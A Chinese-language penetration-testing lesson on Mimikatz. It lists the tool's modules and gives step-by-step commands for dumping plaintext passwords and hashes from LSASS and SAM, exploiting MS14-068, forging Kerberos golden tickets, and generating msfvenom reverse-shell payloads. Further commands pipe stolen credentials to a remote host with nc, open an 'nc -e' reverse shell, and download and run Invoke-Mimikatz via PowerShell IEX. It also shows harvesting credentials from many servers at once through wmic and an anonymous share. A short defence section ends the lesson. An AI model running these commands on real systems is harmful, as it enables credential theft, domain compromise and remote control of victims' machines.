第01課:Mimikatz 獲取系統密碼攻防研究
Mimikatz 是法國人 benjamin 開發的一款功能強大的輕量級調試工具,本意是用來個人測試,但由於其功能強大,能夠直接讀取 WindowsXP-2012(2016 做了安全防護,需要修改注冊表值,重啟後生效,可以獲取明文密碼)等操作系統的明文密碼而聞名於滲透測試,可以說是滲透必備工具,從早期 1.0 版本到現在的 2.1.1 20180205 版本,其功能得到了很大的提升和擴展。
Mimikatz 最新版本一共三個文件(mimilib.dll、mimikatz.exe、mimidrv.sys),分為 Win32 位(多了一個 mimilove.exe 文件)和 X64 位。通過它們可以提升進程權限、注入進程讀取進程內存,可以直接從 Lsass 中獲取當前登錄過系統用戶的賬號明文密碼。Lsass 是微軟 Windows 系統的安全機制它主要用於本地安全和登錄策略,通常我們在登錄系統時輸入密碼之後,密碼便會儲存在 lsass 內存中,經過其 wdigest 和 tspkg 兩個模塊調用後,對其使用可逆的算法進行加密並存儲在內存之中,而 Mimikatz 正是通過對 Lsass 的逆算獲取到明文密碼!
本文以 Mimikatz 最新版為例,介紹了 Mimikatz 的參數、獲取密碼以及偽造黃金票據獲取域控密碼等用戶,利用 ms14-068 結合 Mimikatz 獲取域控密碼等,最後文中還給出了相應的防範方法,對網絡攻防都具有一定的借鑑意義。
下載及安裝
下載後解壓縮即可,裡面分為 Win32 和 X64,Win32 是針對 Windows32 位,而 X64 是正對 64位操作系統,目前絕大部分操作系統為 64位(支持大內存的使用)。其相關資源如下:
使用參數詳解
本次測試使用 Win32 版本,將程序解壓後,通過 cmd 進入當前目錄,執行 Mimikatz 程序,如圖1所示,隨便輸入即可獲取幫助信息。
圖1 顯示幫助信息
基本命令
- exit:退出 Mimikatz。
- cls:清除當前屏幕。
- answer:對生命、宇宙和萬物的終極問題的回答。
- coffee:顯示 coffee 圖案。
- sleep:默認睡眠 1000ms,後跟時間參數。
- log:記錄 Mimikatz 所有的輸入和輸出到當前目錄下的 log.txt 文件。
- base64:將輸入/輸出轉換成 base64 編碼。
- version:查看 Mimikatz 的版本
- cd:切換或者顯示當前目錄。
- localtime:顯示系統當前時間和 UTC 時間。
- hostname:顯示主機的名稱。
使用模塊
輸入“::”顯示其支持模塊信息。
(1)standard:標准模塊,基本命令,不需要模塊信息。
(2)crypto:加密模塊,其後跟以下參數,其使用命令為 crypto:: 參數名,例如 crypto::providers,如圖2所示。
圖2 參考加密算法提供類型及名單
- providers:該命令列出所有 CryptoAPI 提供者。
- stores:列出系統存儲中的邏輯存儲,crypto::stores /systemstore:local_machine。
- certificates:顯示或者導出證書。
- keys:列出或者顯示密鑰。
- sc:此命令列出系統上的智能卡/令牌讀取器或將其移出系統;當 CSP 可用時,它會嘗試在智能卡上列出密鑰。
- hash:顯示當前用戶的的哈希(LM、NTLM、md5、sha1、sha2)計算值。
- system:描述 Windows 系統證書(注冊表或者 hive 文件)。
- scauth:從 CA 創建一個認證(智能卡等)。
- certtohw:嘗試將軟件 CA 導出到加密(虛擬)硬件中。
- capi:修補 CryptoAPI 程序方便導出。
- cng:修補 CNG 服務方便導出。
- extract:從 CAPI RSA/AES 提供者獲取密鑰。
(3)sekurlsa 枚舉用戶憑證
- sekurlsa::msv:獲取 LM & NTLM 憑證,可以獲取明文密碼。
- sekurlsa::wdigest:獲取 WDigest 憑證,可以獲取明文密碼。
- sekurlsa::kerberos:獲取 Kerberos 憑證。
- sekurlsa::tspkg:獲取 TsPkg 憑證。
- sekurlsa::livessp:獲取 LiveSSP 憑證。
- sekurlsa::ssp:獲取憑證。
- sekurlsa::logonPasswords:獲登錄用戶信息及密碼,如果是在系統權限或者 psexec 進入的系統權限下,直接使用該命令,而無需運行 privilege::debug,否則需要運行該命令。
- sekurlsa::process:切換或者恢復到 lsass 初始狀態。
- sekurlsa::minidump:切換或者恢復到 minidump 初始狀態。
- sekurlsa::pth:Pass-the-hash
- sekurlsa::krbtgt:krbtgt!
- sekurlsa::dpapisystem:顯示
DPAPI_SYSTEM
密碼值。 - sekurlsa::tickets:顯示 Kerberos 票據。
- sekurlsa::ekeys:顯示 Kerberos 加密密鑰。
- sekurlsa::dpapi:顯示內存中的 MasterKeys。
- sekurlsa::credman:顯示管理員憑證。
(4)kerberos:Kerberos 包模塊
(5)privilege:特權模塊
- Privilege::debug:請求調試權限。
- Privilege::driver:請求裝載驅動權限。
- Privilege::security:請求安全權限。
- Privilege::tcb:請求 tcb 權限。
- Privilege::backup:請求 backup 權限。
- Privilege::restore:請求恢復權限。
- Privilege::sysenv:請求系統環境權限。
- Privilege::id:請求 id 特權,參數後跟具體的 id 值,例如請求特權 8:privilege::id 8。
- Privilege::name:請求指定名稱的權限。
(6)process:進程模塊
- process::list:列出進程。
- process::exports:導出進程列表。
- process::imports:導入進程列表。
- process::start:開始一個進程,後跟進程名稱。
- process::stop:終止一個進程,process::stop /pid:1692(結束 pid 為1692的進程)。
- process::suspend:掛起一個進程。
- process::resume:恢復一個進程。
- process::run:運行一個進程。
(7)service:Service module
- service::start:開始服務。
- service::remove:移除服務。
- service::stop:停止服務。
- service::suspend:暫停服務。
- service::resume:恢復服務。
- service::preshutdown:預關閉服務。
- service::shutdown:關閉服務。
- service::list:列出服務。
- service::+ - 安裝 Mimikatz 服務。
- service::- - 卸載 Mimikatz 服務。
(8)lsadump:LsaDump module
Lsadump::sam:該命令轉儲安全帳戶管理器(SAM)數據庫,它包含用戶密碼的 NTLM,有時包含 LM 哈希。
在線命令提升模式獲取:
privilege::debug
token::whoami
token::elevate
lsadump::sam
離線獲取,通過以下方式備份 SYSTEM&SAM 配置:
reg save HKLM\SYSTEM SystemBkup.hiv
reg save HKLM\SAM SamBkup.hiv
或者使用 Volue Shadow Copy / BootCD 來備份這些文件:
C:\Windows\System32\config\SYSTEM
C:\Windows\System32\config\SAM
然後執行 mimikatz # lsadump::sam SystemBkup.hiv SamBkup.hiv 即可獲取。
- Lsadump::secrets:從 registry 或者 hives 獲取保存的密碼憑據,可以直接獲取明文密碼。
- Lsadump::cache:獲取內存中的密碼值。
- Lsadump::lsa:從 lsa 服務器獲取密碼,lsadump::lsa /inject /name:krbtgt。
- Lsadump::trust:Ask LSA Server to retrieve Trust Auth Information (normal or patch on the fbackupkeys rpdata。
- Lsadump::dcsync:Ask a DC to synchronize an object。
- Lsadump::dcshadow:They told me I could be anything I wanted, so I became a domain controller。
- Lsadump::setntlm:Ask a server to set a new password/ntlm for one user。
- Lsadump::changentlm:Ask a server to set a new password/ntlm for one user。
- Lsadump::netsync:Ask a DC to send current and previous NTLM hash of DC/SRV/WKS。
(9)ts 終端服務模塊
- ts::sessions:顯示當前的會話。
- ts::multirdp:允許多個用戶使用 rdp,安裝 rdp 補丁。
(10)event 事件模塊
- event::drop:啟用事件補丁服務,不再記錄新產生的事件。
- event::clear:清除時間日誌。
(11)misc 雜項模塊,打開 cmd、regedit、taskmgr、ncroutemon、detours、wifi、addsid、memssp、skeleton 等。
(12)token:令牌操作模塊
- token::whoami:顯示當前的身份。
- token::list:列出系統所有的令牌。
- token::elevate:冒充令牌。
- token::run:運行。
- token::revert:恢復到進程令牌。
(13)vault:Windows 信任/憑證模塊,Vault::list 列出 Windows 信任/憑證。
(14)net 顯示 user、group、alias、session、wsession、tod、stats、share、serverinfo 等信息。
Mimikatz 獲取密碼
舊版本配合 psexec 密碼獲取方法及命令
- 到 tools 目錄,psexec \127.0.0.1 cmd
- 執行 mimikatz
- 執行 privilege::debug
- 執行 inject::process lsass.exe sekurlsa.dll
- 執行 @getLogonPasswords
- widget 就是密碼
- exit 退出,不要直接關閉否則系統會崩潰
bat 腳本獲取法
(1)創建 get.bat 腳本
@echo off
mimikatz.exe <command.txt >pass.txt
exit
(2)創建 command.txt 文件
privilege::debug
inject::process lsass.exe sekurlsa.dll
@getLogonPasswords
Exit
(3)執行 get.bat 文件即可獲取密碼,pass.txt 記錄的即為獲取的密碼,get.bat、command.txt 和 mimikatz.exe 在同一個文件夾下。
Mimikatz 2.0 以上版本獲取系統明文密碼
(1)sekurlsa 獲取
privilege::debug
sekurlsa::logonpasswords
(2)Lsadump 獲取密碼
Lsadump::secrets
利用 ms14-068 漏洞進行攻擊
(1)生成tgt_zhangsan@admin.com.ccche
票據
ms14-068.py -u zhangsan@admin.com -p venus123@ -s S-1-5-21-1825629200-489098874-1280338471-1104 -d admin.com
(2)導入票據
mimikatz kerberos::ptc c:/tgt_zhangsan@admin.com.ccche
使用 ps1 批量獲取 Windows 密碼
在 Windows 2008 及以上操作系統中執行命令:
powershell "IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/mattifestation/PowerSploit/master/Exfiltration/Invoke-Mimikatz.ps1'); Invoke-Mimikatz -DumpCreds"
注意:獲取密碼的計算機必須能夠訪問 raw.githubusercontent.com 網絡,也可以將該 ps 文件下載到其他地址,然後替換後執行。該腳本目前在 Win2014 中只能獲取 NTLM 值,無法獲取明文密碼,如圖3所示。
圖3 通過 ps 腳本獲取密碼值
MSF 下 Mimikatz 獲取密碼
(1)需要生成一個反彈的可執行程序或者通過漏洞直接獲取一個反彈的 shell。下面是通過 msfvenom 生成 shell:
(1)Linux:msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f elf > shell.elf
(2)Windows:msfvenom -p windows/meterpreter/reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f exe > shell.exe
(3)Mac:msfvenom -p osx/x86/shell_reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f macho > shell.macho
(4)PHP:msfvenom -p php/meterpreter_reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f raw > shell.php
(5)asp:msfvenom -p windows/meterpreter/reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f asp > shell.asp
(6)JSP:msfvenom -p java/jsp_shell_reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f raw > shell.jsp
(7)WAR:msfvenom -p java/jsp_shell_reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f war > shell.war
Scripting Payloads
(8)Python:msfvenom -p cmd/unix/reverse_python LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f raw > shell.py
(9)Bash:msfvenom -p cmd/unix/reverse_bash LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f raw > shell.sh
(10)Perl:msfvenom -p cmd/unix/reverse_perl LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f raw > shell.pl
(11)Linux Based Shellcode:msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f <language>
(12)Windows Based Shellcode:msfvenom -p windows/meterpreter/reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f <language>
(13)Mac Based Shellcode:msfvenom -p osx/x86/shell_reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f <language>
在架構中比較好用的有兩個cmd/powershell_base64和x86/shikata_ga_nai
,下面生成一個實例(反彈的服務器 IP 為 192.168.106.133):
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.106.133 LPORT=4444 -f exe > shell.exe
(2)運行 msfconsole 並設置:
use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set lhost 192.168.106.133
set lport 4444
run或者exploit
(3)在測試計算機上運行 exe 文件。
(4)在 msf 獲取反彈的 shell,如圖5所示。
- getuid 獲取當前帳號為系統權限,則進行後續操作,否則通過 ps 命令去獲取小於 1000 以內的 pid,執行 migrate pid 來提升權限後,繼續執行後續步驟。
- load mimikatz。
- 運行 mimikatz 下面的憑證獲取命令:
kerberos 獲取網絡認證協議憑證,其中可能會有明文密碼
msv 獲取msv 憑證,其中包含LM和NTLM哈希密碼值
wdigest 獲取wdigest (摘要式身份驗證)憑證,其中可能會有明文密碼
- 還可以執行 hashdump 來導出系統的哈希密碼值。
使用 Mimikatz 偽造 Kerberos 黃金票據
以域控 test.local 為例子,mimikatz 在 c:\test\ 目錄下。
導出 krbtgt 的 Hash
在域控上執行通過 mimkatz 輸出:
mimikatz log "lsadump::dcsync /domain:test.local /user:krbtgt"
找到如下信息:
/domain:test.local
/sid:S-1-5-21-4155807533-921486164-2767329826
/aes256:af71a24ea463446f9b4c645e1bfe1e0f1c70c7d785df10acf008106a055e682f
生成 Golden Ticket
偽造的用戶設置為 god,執行:
mimikatz "kerberos::golden /domain:test.local /sid:S-1-5-21-4155807533-921486164-2767329826 /aes256:af71a24ea463446f9b4c645e1bfe1e0f1c70c7d785df10acf008106a055e682f /user:god /ticket:gold.kirbi"
生成文件 gold.kirbi。
偽造 Golden Ticket 獲得域控權限,導入 Golden Ticket,執行如下命令:
kerberos::ptt c:\test\gold.kirbi
ms14_068 獲取域控密碼
利用 ms14_068 漏洞獲取域控權限
目前網上有 Python 腳本的利用方法,其下載地址請單擊這裡,具體方法如下:
(1)獲取 SID
- 方法1:wmic useraccount where name="USERNAME" get sid
- 方法2:whoami /all 或者 whoami /user 本機可以直接查出自己的 SID;例如獲取 SID 值為:S-1-5-21-3314867233-3443566213-336233174-500。
(2)生成 tgt 文件
ms14-068.py -u antian365@antian365.local -s S-1-5-21-3314867233-3443566213-336233174-500-d DC2. antian365.local
會在當前命令目錄生成一個 TGT_ antian365@ antian365.local.ccache 文件,將該文件復制到 mimikatz 目錄。
(3)導入 tgt 文件
mimikatz.exe log "kerberos::ptc TGT_ antian365@ antian365.local.ccache" exit
(4)查看並獲取域控權限
net use \\DC2. antian365.local\admin$ //註:使用IP可能會失敗
dir \\DC2. antian365.local\c$
(5)klist 查看票據,klist 僅僅在 Win2008 以上可以查看。
MSF 漏洞模塊利用
(1)使用 ms14_068 模塊
use auxiliary/admin/kerberos/ms14_068_kerberos_checksum
set DOMAIN DEMO.LOCAL
set PASSWORD antian365
set USER antian365
set USER_SID S-1-5-21-3314867233-3443566213-336233174-500
set RHOST WIN-T.demo.local
run
生成一個形如time_default_ip_windows.kerberos_num.bin
的文件。
(2)導入 bin 文件
kerberos::clist "time_default_ip_windows.kerberos_num.bin" /export/
保存為 0-00000000-antian365@krbtgt-DEMO.LOCAL.kirbi 文件。
(3)使用生成的 kirbi
use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set lhost 172.16.158.1
exploit
getuid
load mimikatz
kerberos_ticket_use /tmp/0-00000000- antian365@krbtgt-DEMO.LOCAL.kirbi
background
sessions
(4)獲取域控權限
use exploit/windows/local/current_user_psexec
set TECHNIQUE PSH
set RHOSTS WIN-T.demo.local
set payload windows/meterpreter/reverse_tcp
set lhost 172.16.158.1
set SESSION 1
exploit
getuid
Mimikatz 使用技巧
(1)獲取並記錄密碼到 mimikatz.log 文件
mimikatz.exe ""privilege::debug"" ""log sekurlsa::logonpasswords "" exit && dir
(2)輸出到本地 log.txt 文件
mimikatz.exe ""privilege::debug"" ""sekurlsa::logonpasswords"" exit >> log.txt
(3)記錄新密碼到文件
有時候獲取的哈希是舊的,這時需要記錄新的登錄哈希值,可以使用以下命令來記錄,記錄的結果在 c:\windows\system32\mimilsa.log。
mimikatz.exe
privilege::debug
misc::memssp
(4)通過 nc 命令將 mimikatz 執行結果傳輸到遠程
- 取結果服務器(192.168.106.145)執行監聽命令
nc -vlp 44444
- 在想獲取密碼的服務器上執行
mimikatz.exe ""privilege::debug"" ""sekurlsa::logonpasswords "" exit | nc.exe -vv 192.168.106.145 4444
(5)通過 nc 命令遠程執行 mimikatz
- 在黑客反彈計算機(192.168.106.145)上執行
nc.exe -vlp 4444
; - 在被攻擊計算機(192.168.106.130)上執行
nc.exe -vv 192.168.106.145 4444 -e mimikatz.exe
。
接著就會反彈到 192.168.106.145 的 4444 端口,出來一個 cmd 的窗口,可以在該窗口進行密碼獲取,如圖4所示。
圖4 nc 反彈執行命令
(6)批量獲取域控密碼
通常在域滲透的時候,我們可能想要獲得更多的密碼,針對 server08 以後的服務器獲取 ntds.dit 的 hash 以後還不一定能破解出來,所以可以通過 Mimikatz 來獲取明文密碼,但是一台一台登錄去獲取會很慢且不方便,所以這裡介紹一個批量的方法:
1)創建共享文件夾:
cd\
mkdir open
net share open=C:\open /grant:everyone,full
icacls C:\open\ /grant Everyone:(OI)(CI)F /t
修改注冊表:
reg change HKLM\System\CurrentControlSet\services\LanmanServer\Parameters NullSessionShares REG_MULTI_SZ open
reg change HKLM\System\CurrentControlSet\Control\Lsa "EveryoneIncludesAnonymous" 1
修改共享目錄到 open。
2)在共享目錄添加下列文件:
- 執行腳本 powershellme.cmd,腳本內容:
powershell "IEX (New-Object Net.WebClient).DownloadString('http://192.168.1.11:8080/Invoke-Mimikatz.ps1'); Invoke-Mimikatz -DumpCreds > \\192.168.1.11\open\%COMPUTERNAME%.txt 2>&1
IP 是設置共享的主機 IP 地址。
- Invoke-Mimikatz.ps1
- mongoose
- 服務器列表 serverlist.txt,換行分割
3)運行 mongoose,默認開啟端口 8080。
4)執行 wmic:
wmic /node:@serverlist.txt process call create "\\192.168.1.11\open\powershellme.cmd"
帶憑證:
wmic /node:@serverlist.txt /user:PROJECTMENTOR\evi1cg /password:123 process call create "\\192.168.1.11\open\powershellme.cmd"
5)在共享目錄看各個服務器的密碼吧。
6)清除記錄:
- 關掉 mongoose 並刪除
- net share open /delete
- 刪除共享目錄及文件
- 修改注冊表
PS:可以使用如下命令開啟 PowerShell remoting:
psexec @serverlist.txt -u [admin account name] -p [admin account password] -h -d powershell.exe "enable-psremoting -force"
Linux 版本的 Mimikatz 密碼獲取工具 mimipenguin
mimipenguin
Mimikatz 的 Linux 平台仿造版本 mimipenguin(由 @HunterGregal 開發),mimipenguin 需要 root 權限運行,通過檢索內存、/etc/shadow 文件等敏感區域查找信息進行計算,從而提取出系統明文密碼。軟件下載地址請單擊這裡,下載後運行 mimipenguin.sh 即可,如圖5所示。
圖 5 Linux 下直接獲取密碼
支持版本
Kali 4.3.0 (rolling) x64 (gdm3)
Ubuntu Desktop 12.04 LTS x64 (Gnome Keyring 3.18.3-0ubuntu2)
Ubuntu Desktop 16.04 LTS x64 (Gnome Keyring 3.18.3-0ubuntu2)
XUbuntu Desktop 16.04 x64 (Gnome Keyring 3.18.3-0ubuntu2)
Archlinux x64 Gnome 3 (Gnome Keyring 3.20)
OpenSUSE Leap 42.2 x64 (Gnome Keyring 3.20)
VSFTPd 3.0.3-8+b1 (Active FTP client connections)
Apache2 2.4.25-3 (Active/Old HTTP BASIC AUTH Sessions) [Gcore dependency]
openssh-server 1:7.3p1-1 (Active SSH connections - sudo usage)
安全防範 Mimikatz 獲取密碼
參考作者及網上安全防範方法主要有以下三個方法:
- 用戶被添加到保護用戶組,將域控升級到 Active Directory 2012 R2 功能級別,然後將重要用戶添加到保護用戶組。
- 安裝 KB2871997 補丁程序。
- 修改注冊表鍵值
在HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\SecurityProviders\Wdigest
下新建 UseLogonCredential 值,其類型為 Dword32 位類型,值為 0 即可。
參考文章: